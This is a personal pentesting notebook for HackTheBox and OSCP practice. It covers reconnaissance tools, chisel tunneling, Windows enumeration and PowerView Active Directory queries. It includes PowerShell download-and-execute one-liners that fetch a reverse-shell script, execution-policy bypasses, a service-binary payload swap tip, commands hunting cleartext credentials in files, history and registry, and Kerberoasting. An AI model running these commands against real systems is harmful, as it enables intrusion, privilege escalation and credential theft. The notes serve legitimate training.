# About

Just another pentesting checklists

This page contains checklists, resources, and write-ups for HTB machines. Actually, I created this page during my OSCP preparation. But for now, I am just putting all my notes here.&#x20;

### Keep It Simple!

What the difference with the other? You may wonder what sets apart these GitBook notes from others, such as **HackTricks**. Well, HackTricks is a good source—I often refer to their page when conducting pentesting. They provide comprehensive guides and checklists for every service.

The difference lies in the simplicity I aim to maintain here. While a full and complete guide is beneficial, sometimes it can be overwhelming with an excess of information. In this space, I create notes based on my experiences. I stick to one tool or resource if it can effectively perform the necessary tasks. For example, if FFuF can handle vhost bruteforce, directory scanning, etc,  why should I use dirsearch, wfuzz, etc? I'm not saying that tools like dirsearch or wfuzz are bad, but I don't see the point in installing many tools with the same function.

### Notes

I am using **Kali Linux** for all the commands I'm sharing here. I believe that all Debian derivatives will have similar commands for the installation process (using 'apt'). However, if you're using a different distribution that is not a Debian derivative, please search for it yourself. You can take my notes as a reference.

{% hint style="danger" %}
I have taken notes based on my understanding and practical use of commands/tools. It is possible that I may have made mistakes or misunderstood certain aspects.
{% endhint %}


# Prerequisite

Some things that need to be prepared to play Hack The Box machines.

Before starting the work on HTB machines, always add the IP address to /etc/hosts on our machine. Example:

```
nino@nakano:~$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       nakano
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

#HackTheBox
10.10.11.105    horizontall.htb api-prod.horizontall.htb
.....

```

### Common tools

Here are some commonly used tools for working on HackTheBox machines.

* [**nmap**](https://github.com/nmap/nmap) - for port scanning
* [**ffuf**](https://github.com/ffuf/ffuf) - directory scanning & vhost discovery

[Ffuf](https://www.linuxsec.org/2020/08/web-fuzzing-menggunakan-ffuf.html) can be used for performing directory scanning as well as vhost bruteforce (subdomain enumeration). That's why I prefer using Ffuf over other tools because this single tool can be used for multiple purposes.

* [**SecLists**](https://github.com/danielmiessler/SecLists) - Wordlist

Seclists is a collection of wordlists that will be very useful when performing fuzzing.

### Reverse Shell

* [https://reverse-shell.sh](https://reverse-shell.sh/)
* [https://www.revshells.com](https://www.revshells.com/)

### TTY Shell

"Magic trick" for achieving a stable Full TTY shell (works on bash):&#x20;

```
user@remote-server:~$ python3 -c "import pty; pty.spawn('/bin/bash')" 
```

Then press **CTRL+Z** to pause the shell process. Next, execute the following command to disable input buffering and echo, making the reverse shell more responsive.

```bash
user@local:~$ stty raw -echo 
```

After that, run the following command to bring the shell process to the foreground.

```bash
user@local:~$ fg
```

Lastly, execute the following command to set the TERM environment variable to xterm, ensuring smooth operation of the interactive shell.

```bash
user@remote-server:~$ export TERM=xterm
```

* [Mendapatkan Akses TTY Shell setelah Back Connect](https://www.linuxsec.org/2019/07/spawn-tty-shell.html)

## Useful Resources

* [exploitdb-bin-sploits // Exploit-Database's pre-compiled binary exploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits)
* [Ippsec](https://ippsec.rocks/?#)
* [kashz jewels](https://kashz.gitbook.io/kashz-jewels/)
* [HackTricks](https://book.hacktricks.xyz/)

Alright, that's it for this update. I'll provide more updates later.


# Reconnaissance

Common reconnaissance phase steps on HackTheBox machines or during penetration testing.

## NmapAutomator

Well, I like to use NmapAutomator in my daily pentest activity. I just run NmapAutomator, light a cigarette, and wait for this awesome recon tool to do the job.

{% code overflow="wrap" %}

```bash
nmapAutomator.sh --host 10.10.11.11 --output nmapautomator_res --type Recon
```

{% endcode %}

## Port Scanning

When obtaining the IP address of a HackTheBox machine, one essential task is to perform port scanning. The most powerful tool for conducting port scanning is nmap.

### TCP ports

```bash
rustscan -a 10.10.11.33 -- -Pn -sVC -oN 10.10.11.33_scan
```

### **UDP Ports**

```bash
sudo nmap -Pn -sU --top-ports 1000 -sV -sC -vv --min-rate=5000 \
-oA udpinitial target.htb
```

## Directory Scanning

Directory scanning involves scouring the targeted directories or files on a web server to uncover security vulnerabilities. A web server typically allows access to specific directories and files. However, if these directories or files are not managed carefully by web administrators, attackers can exploit these exposed areas to gain access to sensitive information.

Directory scanning with Feroxbuster.

{% code overflow="wrap" %}

```bash
feroxbuster -C 404 --random-agent --auto-tune -k --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x php --threads 100 -u http://testphp.vulnweb.com
```

{% endcode %}

## Subdomain / Virtualhost Brute

During the testing reconnaissance phase, testers spend time on virtual host enumeration, which is the process of discovering all the virtual hosts associated with a particular IP address or domain. This helps them find hidden or undocumented assets that might be vulnerable or misconfigured.

### FFuF

Vhost Brute with FFuF (CTF style)

{% code overflow="wrap" %}

```bash
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://target.htb -H "Host: FUZZ.target.htb"
```

{% endcode %}

### PureDNS

Subdomain Bruteforce with PureDNS.

{% code overflow="wrap" %}

```bash
# https://github.com/blechschmidt/massdns
git clone https://github.com/blechschmidt/massdns
cd massdns
make
sudo make install
# https://github.com/d3mondev/puredns
➜  tmp cat resolver.txt
1.1.1.1
8.8.8.8

puredns bruteforce --resolvers resolver.txt /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt linuxsec.org
```

{% endcode %}

### Subfinder

Subdomain Enumeration with Subfinder

{% code overflow="wrap" %}

```bash
# https://github.com/projectdiscovery/subfinder
subfinder -d linuxsec.org
```

{% endcode %}

## Technology Detection

Technology detection is a crucial aspect of penetration testing, providing insights into the software, frameworks, and platforms utilized by the target system. By employing various tools and techniques, penetration testers can identify the underlying technologies, versions, and configurations present, facilitating a deeper understanding of potential vulnerabilities and attack vectors. Amazing tool to perform technology detection is Browser add-ons Wappalyzer, or cli tool [**webanalyze**](https://github.com/rverton/webanalyze).

{% code overflow="wrap" %}

```bash
webanalyze -host blog.linuxsec.org

# Example output:
..........
http://blog.linuxsec.org (2.3s):
    AMP,  (JavaScript frameworks)
    Cloudflare,  (CDN)
    Yoast SEO,  (SEO, WordPress plugins)
    WordPress,  (CMS, Blogs)
    Redis Object Cache,  (Caching)
    Redis,  (Databases)
    WordPress,  (CMS, Blogs)
    HTTP/3,  (Miscellaneous)
    HSTS,  (Security)
    WordPress, 6.2.3 (CMS, Blogs)
    PHP,  (Programming languages)
    MySQL,  (Databases)
```

{% endcode %}

## WAF Detection

In web pentesting, knowing your target, including their WAF, is an important step because you need a different approach when your target is protected by a WAF.

{% code overflow="wrap" %}

```bash
# wafw00f
wafw00f https://blog.linuxsec.org
# nuclei
nuclei -t ./http/fuzzing/waf-fuzz.yaml -itags fuzz -silent -u https://blog.linuxsec.org/
```

{% endcode %}

## JavaScript Analyze

If you’re pentesting web applications, you certainly come across a lot of JavaScript. Nearly every web application nowadays is using it. Frameworks like Angular, React and Vue.js place a lot of functionality and business logic of web applications into the front end. Thus, to thoroughly pentest web applications, you have to analyze their client-side JavaScript.

### **LinkFinder**

LinkFinder is a python script written to discover endpoints and their parameters in JavaScript files.

* <https://github.com/GerbenJavado/LinkFinder>

{% code overflow="wrap" %}

```bash
python3 linkfinder.py -i http://testphp.vulnweb.com -d --output cli
```

{% endcode %}

### **SecretFinder**

SecretFinder is a python script based on LinkFinder, written to discover sensitive data like apikeys, accesstoken, authorizations, jwt,..etc in JavaScript files.

* <https://github.com/m4ll0k/SecretFinder>

{% code overflow="wrap" %}

```bash
python3 SecretFinder.py -i http://testhtml5.vulnweb.com -e --output cli
```

{% endcode %}

## Web Crawling

Another approach to finding endpoints on your targets. Some people like using a command-line spider for gathering endpoints. Katana is one of these security focused spiders.

[**katana**](https://github.com/projectdiscovery/katana) by Projectdiscovery.

{% code overflow="wrap" fullWidth="false" %}

```bash
katana -u http://testphp.vulnweb.com/ -headless -js-crawl -jsluice -display-out-scope -ef png,css,jpg
```

{% endcode %}

**Tips**

When using katana:

1. use "-headless" as modern CDN WAFs block many command-line spiders.
2. use "-js-crawl" to enable javascript parsing.
3. use "-jsluice" to enable syntax-tree (better) javascript parsing.
4. use "-display-out-scope" to know when the spider find links to other domains that might be related to your target.

Reference: <https://x.com/Jhaddix/status/1802537881694544192>

## Vulnerability Assessment

Quick shot to find some 'low-hanging fruit' findings.

{% code overflow="wrap" %}

```bash
# wapiti
wapiti --help
wapiti --url http://testphp.vulnweb.com
```

{% endcode %}

Nuclei + Katana

{% code overflow="wrap" %}

```bash
katana -u http://testphp.vulnweb.com/ -headless -js-crawl -jsluice -ef png,css,jpg -silent | qsreplace -a | nuclei -t dast/vulnerabilities -dast -silent
```

{% endcode %}

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiqti-EEd7fS3ENngTk7wjCqb5jR504HRxBXwZylS1F-MQeuiMfhVrvrshtaB2kiLQv4yVrb23XzJYA6M3dK-kjgSmfe8bl4HazfMaP_mRta63ESKC32CJ6wGkMBxJBTlhVE17gGWxRMix6QAPYf6RStt_Rl8Kj9HNeUwolwfDBFYQCO9c0soBhp3n5qQ/s800" alt=""><figcaption><p>Nuclei + Katana</p></figcaption></figure>

{% hint style="info" %}
**Note**: This page is incomplete and will be regularly updated. If you have any ideas or resources that need to be added, please contact me at <yuyudhn@gmail.com>.
{% endhint %}


# Exploitation

Common Explitation during CTF or Pentesting

### Exploit Search

* [Snyk Vulnerability Database](https://security.snyk.io/)
* [Exploit-DB](https://www.exploit-db.com/)
* [huntr](https://huntr.com/)


# Post Exploitation

This page contains notes on post-exploitation

### About Post Exploitation

Post-exploitation refers to the phase of a cybersecurity attack that occurs after an attacker has successfully compromised a target system. During this phase, the attacker aims to maintain access, gather valuable information, escalate privileges, and potentially launch further attacks. It involves activities such as lateral movement within the network, data exfiltration, creating backdoors, and covering their tracks to avoid detection. Post-exploitation is a crucial part of the attack lifecycle as it allows the attacker to maximize the impact of their initial compromise and achieve their ultimate objectives.

### Tunneling with Chisel

Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network.

#### Exposing Internal Service

* <https://github.com/jpillora/chisel>

On attacker machine, run this command:

```bash
chisel server -p 2525 --socks5 --reverse -v
```

Example, on target there is service running on port 8000 at localhost, then run this command:

```bash
./chisel client 10.10.14.46:2525 R:8001:127.0.0.1:8000
```

Now, we can access the service from port 8001 on our machine.

#### Scanning Internal Server / IP

From attacker machine, run chisel server.

```
./chisel server -p 31337 --socks5 --reverse -v
```

From Client:&#x20;

```
./chisel client 10.10.200.13:31337 R:31338:socks
```

Now, from attacker machine, add proxy to proxychains4.conf

```
socks5 127.0.0.1 31338
```

Now you can scan internal target IP from attacker machine.

```
proxychains4 nmap 192.168.1.337
```

### Related Links

* [**Windows Post Exploitation**](/active-directory/post-exploitation)
* [**Linux Post Exploitation**](/linux/linux-post-exploitation)


# Misc

This page contain useful Web, Linux, Windows, and Active Directory Attack Cheatsheet

### AD Resource / Checklists

* [**Active Directory Cheat Sheet**](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet)
* [**Living Off The Land Binaries, Scripts and Libraries**](https://lolbas-project.github.io/#t)
* [**Red Teaming Toolkit**](https://github.com/infosecn1nja/Red-Teaming-Toolkit)
* [**Active Directory Kill Chain Attack & Defense**](https://github.com/infosecn1nja/AD-Attack-Defense)
* [**OSEP Code Snippets**](https://github.com/chvancooten/OSEP-Code-Snippets)
* [**SharpCollection**](https://github.com/Flangvik/SharpCollection)

### Windows / AD Attack Tools

This is common tools for AD / Windows exploitation. I give the keyword, Google it how to use.

* **NetExec** / **CrackMapExec**
* **Impacket**
* **Bloodhound / Sharphound /Rusthound**
* **Powersploit** / **PowerView** / **PowerUp**
* **GhostPack-Compiled Binaries**
* **PowerUpSQL**
* **UACME** (for UAC bypass)
* **Mimikatz / LaZagne**
* **WinPEAS / Moriarty**
* **Windows Exploit Suggester - Next Generation (WES-NG)**
* **GodPotato (**&#x66;or Impersonate P&#x45;**)**

### **Linux Attack Tools**

Common tools for Linux enumeration and exploitation.

* **LinPEAS**
* **pspy**
* **sund3num**
* **traitor**

### Pivoting

Common tools for pivoting. Google it.

* **chisel**
* **rpivot**
* **sshuttle**
* **ligolo**
* **ligolo-ng**

### **Thick Client Pentest**

Common tools for thick client pentesting.

* [**Proccess Monitor**](https://learn.microsoft.com/id-id/sysinternals/downloads/procmon) (For DLL Hijacking Enumeration)&#x20;
* [**Echo Mirage**](https://sourceforge.net/projects/echomirage.oldbutgold.p/) (Request sniffing and modification)&#x20;
* [**WinSpy**](https://github.com/strobejb/winspy/releases) (For UI modification)&#x20;
* [**Wireshark**](https://www.wireshark.org/download.html) (For network monitoring)&#x20;
* [**Proccess Hacker**](https://processhacker.sourceforge.io/downloads.php) (For Proccess Monitoring)&#x20;
* [**Signcheck**](https://learn.microsoft.com/en-us/sysinternals/downloads/sigcheck) (For digital signature details enumeration)
* **dnSpy** / **ILSpy** (A .NET debugger and assembly editor)

#### Thick Client Playground:

* <https://github.com/srini0x00/dvta>

### Other Useful Checklists

* <https://notes.vulndev.io/wiki>
* <https://www.thehacker.recipes/>
* <https://notthehiddenwiki.com/>
* <https://www.ired.team/>
* <https://www.pudn.com/Download/item/id/1705669525391893.html>
* <https://swisskyrepo.github.io/PayloadsAllTheThings/>

## Living Off The Land Projects

**What is LOTL Technique?**&#x20;

Unlike traditional malware attacks, which leverage signature files to carry out the attack plan, LOTL attacks are fileless — meaning they do not require an attacker to install any code or scripts within the target system. Instead, the attacker uses tools that are already present in the environment, such as PowerShell, Windows Management Instrumentation (WMI) or the password-saving tool, Mimikatz, to carry out the attack.

Using native tools makes LOTL attacks far more difficult to detect, especially if the organization is leveraging traditional security tools that search for known malware scripts or files. Because of this gap in the security toolset, the hacker is often able to dwell undetected in the victim’s environment for weeks, months or even years.

* [**Living Off The Land Active Directory**](https://lolad-project.github.io/)
* [**Living Off The Land Drivers**](https://www.loldrivers.io/)
* [**GTFOBins**](https://gtfobins.github.io/)
* [**Living Off The Land Binaries, Scripts and Libraries**](https://lolbas-project.github.io/)
* [**Living Off The Land Applications**](https://lolapps-project.github.io/)

{% hint style="info" %}
**Note**: This page is incomplete and will be regularly updated. If you have any ideas or resources that need to be added, please contact me at <yuyudhn@gmail.com>.
{% endhint %}


# Basic Command

The basic of Command Prompt and PowerShell

This note was created when I was not very familiar with the Windows environment. I didn't know how to restart the machine from the command line, copy files, or import PowerShell scripts, etc.

### Basic PowerShell

Enter powershell with Execution Policy Bypass

{% code overflow="wrap" %}

```powershell
powershell -ep bypass
```

{% endcode %}

Or, if you already inside powershell session, you can set Execution Policy with this command:

{% code overflow="wrap" %}

```powershell
Set-ExecutionPolicy Bypass -Scope CurrentUser
```

{% endcode %}

Load powershell script function into memory with dot sourcing:

```powershell
. .\PowerView.ps1
```

Import module to powershell:

{% code overflow="wrap" %}

```powershell
import-module .\Powerspolit.psd1
```

{% endcode %}

### Check All Available Powershell Command

```powershell
Get-Command -Name "*Invoke*"
Get-Command
```

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi61t18ptuUTq7RFezUuspvOLZt26gJsqhnA38XRxnwdt02TaEFATWJ6ync6A5wFyxIFcxGmO398G_e8-34zU4uxRBoMAfTCI4BYs8jGqu8EuJ5kf46MBJodCkK2jhkppnjSTRg3_a-bkKCAOsgiMfnA60mltPRIPan1H30PrwhKRNCDLOhFSW0Ax-3M14/s1010/get%20all%20available%20command.png" alt=""><figcaption><p>Get-Command</p></figcaption></figure>

### Copy  & Move

How to copy file:

{% code overflow="wrap" %}

```powershell
copy source.exe destination.exe
```

{% endcode %}

How to copy directory:

```powershell
xcopy C:\source_dir D:\dest_dir /E /I /Y
```

Explanation:

* `/E` – Copies all subdirectories, including empty ones.
* `/I` – If the destination does not exist and copying more than one file, this option assumes that the destination must be a directory.
* `/Y` – Suppresses prompting to confirm you want to overwrite an existing destination file.

How to Move File or Directory

{% code overflow="wrap" %}

```powershell
move payload.exe C:\temp\service.exe
```

{% endcode %}

### Rename&#x20;

Sometimes, after found service run as SYSTEM user and writable by low user, you can drop payload to the directory and rename the payload to match the service name.

```powershell
ren Payload.exe Service.exe
```

### Download

certutil.exe

{% code overflow="wrap" %}

```powershell
certutil -urlcache -split -f https://example.com/example.txt example.txt
```

{% endcode %}

powershell.exe: Invoke-WebRequest

{% code overflow="wrap" %}

```powershell
iwr -Uri "http://172.16.8.1:9005/PowerView.ps1" -OutFile "PowerView.ps1"
```

{% endcode %}

### Download and Execute

powershell.exe: Invoke-Expression

{% code overflow="wrap" %}

```powershell
iex ((New-Object Net.WebClient).DownloadString('http://example.local/Invoke-PowerShellTcpOneLine.ps1'))
```

{% endcode %}

Or, from cmd.exe to powershell.exe

{% code overflow="wrap" %}

```powershell
powershell.exe -NoP -ExecutionPolicy Bypass -Command "iex ((New-Object Net.WebClient).DownloadString('http://example.local/Invoke-PowerShellTcpOneLine.ps1'))"
```

{% endcode %}

Or, use start /B to run the command in background.

{% code overflow="wrap" %}

```powershell
start /B powershell.exe -NoP -ExecutionPolicy Bypass -Command "iex ((New-Object Net.WebClient).DownloadString('http://example.local/Invoke-PowerShellTcpOneLine.ps1'))"
```

{% endcode %}

### Restart and Shutdown

Shutdown now:

```powershell
shutdown /s /t 0 /f
```

Restart now:

{% code overflow="wrap" %}

```powershell
shutdown /r /t 0 /f
```

{% endcode %}

### Convert to Base64

{% code overflow="wrap" %}

```powershell
[convert]::ToBase64String((Get-Content -path "20230908145747_BloodHound.zip" -Encoding byte))
```

{% endcode %}

### Privileges, User, and Groups

User stuff:

```
whoami /all
whoami /priv
whoami /group
net user
net user asuka
```

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyAVj1INMgIeK5kh7G_9aPZ8U60HuQWWzeXPLIAI75N0amaCt9yVQGeLxkGMaiZ6xqL7eSy1g5ctN9w-Uk-oZqg65VCrqaK5NnEFbbNdlq-y880XX5zP4Vik8P8YxsI7Lx3vVgRe4skx0wZhr9_z8HSFa0ES55QW7-kxsvPdO23Vjw5NaLRm-KGSVzUXE/s1021/whoami%20all.png" alt=""><figcaption><p>whoami /all</p></figcaption></figure>

Check Local Group using Command Prompt:

```
net localgroup
net localgroup Administrators
```

Check group member

{% code overflow="wrap" %}

```powershell
Get-LocalGroupMember -Group "Administrators"
Get-LocalGroupMember -Group "Administrators" |  Select-Object *
```

{% endcode %}

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSwKtfQSeG7PGNF6Oz3A6iAK9G1lYqf6INpoLtXifRQHdHqNbR6yN3WfZMGEpZOU1wLxVpkZUB7iPEHLyHN0jENDO_QZIx-yO4tne-Buag5dDr8vINN3oxc3rlNM4xXznS5zNAushx6aqkR6Kd-F1La5jsSL0u7ClbtOsz2TcrczzRK91x_vLjZqKL4s4/s1050/powershell%20command.png" alt=""><figcaption><p>Get-LocalGroupMember</p></figcaption></figure>


# Enumeration

Basic Enumeration using Command Prompt and PowerShell

### User Enumeration

Local user checks

{% code overflow="wrap" %}

```powershell
# check local user
net user
# check local admin member
net localgroup administrators
# check user "asuka"
net user asuka
```

{% endcode %}

Check local user privileges

{% code overflow="wrap" %}

```powershell
# check priv
whoami /priv
whoami /all
# check group information of current user
whoami /groups
whoami /user /groups
```

{% endcode %}

Enumerate domain user

```powershell
# check domain user
net user /domain
# check domain user "asuka-domain"
net user asuka-domain /domain
# check domain group
net group /domain
# Check Domain Admins member
net group "Domain Admins" /domain
```

### Architecture Checks

What the Windows version installed? What aarch of windows running? x64? x86?

**Why**: Knowing this information will make the decision about the exploit or the crafted payload better.

{% code overflow="wrap" %}

```powershell
ver
wmic os get osarchitecture
```

{% endcode %}

### Hostname Checks

What hostname of this computer? Is this computer join AD?

**Why**: Knowing this information will make the attack path decision clear.

{% code overflow="wrap" %}

```powershell
hostname
whoami
systeminfo | findstr /B "Domain"
set userdomain
```

{% endcode %}

### Network Checks

**Why**: Knowing this information will improve the mapping of the internal network pentest.

ipconfig to displays all the networking information of the current PC your connected to.

{% code overflow="wrap" %}

```powershell
ipconfig
ipconfig /all
route PRINT
```

{% endcode %}

netstat is a command-line network utility that displays network connections for Transmission Control Protocol, routing tables, and a number of network interface and network protocol.

{% code overflow="wrap" %}

```powershell
netstat
netstat -ano
```

{% endcode %}

### Firewall Checks

Windows Firewall checks using netsh in CMD.

**Why**: Knowing this information will improve the decision-making process for data transfer.

```powershell
netsh advfirewall show currentprofile
netsh advfirewall show allprofiles
netsh firewall show state
Get-Service -Name mpssvc # powershell
```

### Defender Checks

**Why**: Knowing this information will help determine whether AV evasion is necessary.

{% code overflow="wrap" %}

```powershell
sc query windefend # cmd
Get-Service -Name windefend # powershell
```

{% endcode %}

### OS Checks

Find OS version, arch used, and OS name.

**Why**: Knowing this information is necessary for searching public exploits against the installed version.

```powershell
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
```

### Running Proccess

Enumerate the running proccess.

**Why**: Knowing this information is necessary for searching public exploits against the running service or proccess.

```
tasklist /SVC
```

### Check Process using PowerShell

{% code overflow="wrap" %}

```powershell
Get-Process | Select-Object Name, Id
Get-Process -Id 2180 | Format-List *
```

{% endcode %}

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiPTbOwjADi5ZwltlC6N8eY4dSd6gwsvbUK-sWYmdllmq4Vf9f6wVtYyOpm5tRNvkChSTFVHqPs5X_Gz60uvG8Wam03iD7-scLB-Si-lX9yoEqy9Gx_kQ4bpXg2_lNtDwy8VK1UArLXXBYhx5dYjMBG2ChesmMAwy6eH0Ug0kPtblCaVoNmJ-bZv2Icfg/s1029/check%20detail%20process.png" alt=""><figcaption><p>Check process</p></figcaption></figure>

### Installed Patches

What patches are installed?

Why: Knowing this information is necessary for searching public exploits against the installed patches.

```powershell
wmic qfe
```

### Installed Apps

What app installed in this computer?

**Why**: Knowing this information is necessary for searching public exploits against the installed apps.

{% code overflow="wrap" %}

```powershell
wmic product get name, version, vendor
```

{% endcode %}

### Search cleartext creds

{% code overflow="wrap" %}

```powershell
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini

# Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config*

# Find all passwords in all files.
findstr /spin "password" *.*
findstr /spin "password" *.*
```

{% endcode %}

### Scheduled Task Checks

{% code overflow="wrap" %}

```powershell
Schtasks /query /fo LIST /v
```

{% endcode %}

### Document Metadata

Read metadata of document/files in Powershell

{% code overflow="wrap" %}

```powershell
 Get-Item "C:\Users\Nakano\Documents\docs.docx" | Select-Object -Property *
```

{% endcode %}

### Check Powershell History

{% code overflow="wrap" %}

```powershell
(Get-PSReadlineOption).HistorySavePath
```

{% endcode %}

Or, the default location for the PowerShell command history:

```
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHo
st_history.txt
```

i.e

```
C:\Users\student\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Console
Host_history.txt
```

### Check PowerShell Transcript

When a user starts a PS transcript the command log file is generated. The default location for the PowerShell Transcript is: **C:\Users%username%\Documents i.e C:\Users\student\Documents**.

{% code overflow="wrap" %}

```powershell
cd C:\Users\student\Documents
ls
cat PowerShell_transcript.PRIV-ESC.uFAz6NOs.20201029121705.txt | Select-String -Pattern
"pass*"
```

{% endcode %}

### Check Registry Autologon

{% code overflow="wrap" %}

```powershell
reg query 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' /v
DefaultUserName
reg query 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' /v
DefaultPassword
reg query 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' /v
AutoAdminLogon
```

{% endcode %}

### Resources

* [**Windows - Privilege Escalation**](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/)
* [**Windows - Persistence**](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/windows-persistence/)

{% hint style="warning" %}
**Note**: This page is incomplete and will be regularly updated. If you have any ideas or resources that need to be added, please contact me at <yuyudhn@gmail.com>.
{% endhint %}


# PowerView

Active Directory Enumeration Checklists with PowerView

## Using PowerView

PowerView is a PowerShell tool to gain network situational awareness on Windows domains. It contains a set of pure-PowerShell replacements for various windows "net \*" commands, which utilize PowerShell AD hooks and underlying Win32 API functions to perform useful Windows domain functionality.

Tools:

* [**PowerView.ps1**](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1)

### Import PowerView

{% code overflow="wrap" %}

```powershell
. C:\AD\Tools\PowerView.ps1
```

{% endcode %}

### Get-DomainController

Enumerates the domain controllers for the current or specified domain. By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer to search for domain controllers.

{% code overflow="wrap" %}

```powershell
Get-DomainController
Get-DomainController -Domain domain.lab
Get-DomainController -Domain domain.lab -LDAP
```

{% endcode %}

### Get-DomainUser

Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria.

{% code overflow="wrap" %}

```powershell
# Enumerate Domain User
Get-DomainUser
Get-DomainUser -Domain domain.lab 
Get-DomainUser -Identity "Asuka.Soryu"
Get-DomainUser -Properties samaccountname,logonCount

# Search for a particular string in a user's attributes
Get-DomainUser -LDAPFilter "Description=*built*" | Select name,Description
```

{% endcode %}

### Get-DomainComputer

Return all computers or specific computer objects in AD.

{% code overflow="wrap" %}

```powershell
# Get a list of computers in the current domain 
Get-DomainComputer | select Name,serviceprincipalname
Get-DomainComputer | select -ExpandProperty dnshostname
Get-DomainComputer -OperatingSystem "*Server 2022*" 
Get-DomainComputer -Ping

# Check Constrained Delegation
Get-DomainComputer -TrustedToAuth

# Return computer objects that have unconstrained delegation
Get-DomainComputer -Unconstrained
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Get-DomainComputer | ForEach-Object { [PSCustomObject]@{ Name = $_.Name; ServicePrincipalName = $_.serviceprincipalname -join ', ' } } | Format-List
```

{% endcode %}

<figure><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8IseuR4syJDmU6nW2AJchPKfqc6VHiwgnTPlTuthc0uTjOUsbsvtKFmsL_67vAXML2QVeA67GLYmhhampb5JqPmTDnqltjAy9BIRQesV-kXEd9FMzd3DqX1a2JbTwhayFAwrgL47bU1lnKqZ1sU5ZD9Ndv_f3Ge9X6EJq1L5z9PM4AI3yi9CNjWkjzr0/s1015/expand%20output.png" alt=""><figcaption><p>Expand Output</p></figcaption></figure>

### Get-DomainGroup

Return all groups or specific group objects in AD.

```powershell
Get-DomainGroup | select Name
Get-DomainGroup -Identity "Domain Admins"
Get-DomainGroup -Domain domain.lab
```

### Get-DomainGroupMember

Return the members of a specific domain group.

{% code overflow="wrap" %}

```powershell
# Get all the members of the Domain Admins group
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# Get all the members of the Enterprise Admins group
Get-DomainGroupMember -Identity "Enterprise Admins" -Domain domain.lab

# Get the group membership for a user
Get-DomainGroup -UserName "Asuka-Soryu"
```

{% endcode %}

### Get-DomainOU

Search for all organization units (OUs) or specific OU objects in AD.

{% code overflow="wrap" %}

```powershell
# Get OUs in a domain
Get-DomainOU
Get-DomainOU | select -ExpandProperty name
Get-DomainOU -Identity StudentMachines

# List all computers in StudentsMachines OU
(Get-DomainOU -Identity StudentMachines).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name
```

{% endcode %}

### Enumerate GPOs

{% code overflow="wrap" %}

```powershell
# Get list of GPO in current domain
Get-DomainGPO 
Get-DomainGPO -ComputerIdentity DCORP-STD_X

# Enumerate GPO applied on StudentMachines OU
(Get-DomainOU -Identity StudentMachines).gplink
Get-DomainGPO -Identity '{7478F170-6A0C-490C-B355-9E4618BC785D}'
```

{% endcode %}

### Get-DomainObjectAcl

Returns the ACLs associated with a specific active directory object.

{% code overflow="wrap" %}

```powershell
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs -Verbose
```

{% endcode %}

### Find-InterestingDomainAcl

Finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects.

{% code overflow="wrap" %}

```powershell
Find-InterestingDomainAcl -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

# Quick shot to find RBCD, etc
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.SamAccountName -ne "Domain Admins" -and $_.SamAccountName -ne "Account Operators" -and $_.SamAccountName -ne "Enterprise Admins" -and $_.SamAccountName -ne "Administrators" -and $_.SamAccountName -ne "DnsAdmins" -and $_.SamAccountName -ne "Schema Admins" -and $_.SamAccountName -ne "Key Admins" -and $_.SamAccountName -ne "Enterprise Key Admins" -and $_.SamAccountName -ne "Storage Replica Administrators"  -and $_.IdentityReferenceName -ne "DnsAdmins"} | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl') -or ($_.ActiveDirectoryRights -match 'WriteProperty')}
```

{% endcode %}

### Get-ForestDomain

Return all domains for the current (or specified) forest.

{% code overflow="wrap" %}

```powershell
Get-ForestDomain -Verbose
Get-ForestDomain -Forest domain.lab
```

{% endcode %}

### Get-DomainTrust

{% code overflow="wrap" %}

```powershell
Get-DomainTrust
Get-DomainTrust -Domain us.dollarcorp.moneycorp.local
```

{% endcode %}

### Get-DomainSID

Returns the SID for the current domain or the specified domain.

{% code overflow="wrap" %}

```powershell
Get-DomainSID
Get-DomainSID -Domain domain.lab
```

{% endcode %}

### Invoke-Kerberoast

Kerberoasting.

```powershell
Invoke-Kerberoast | fl
```

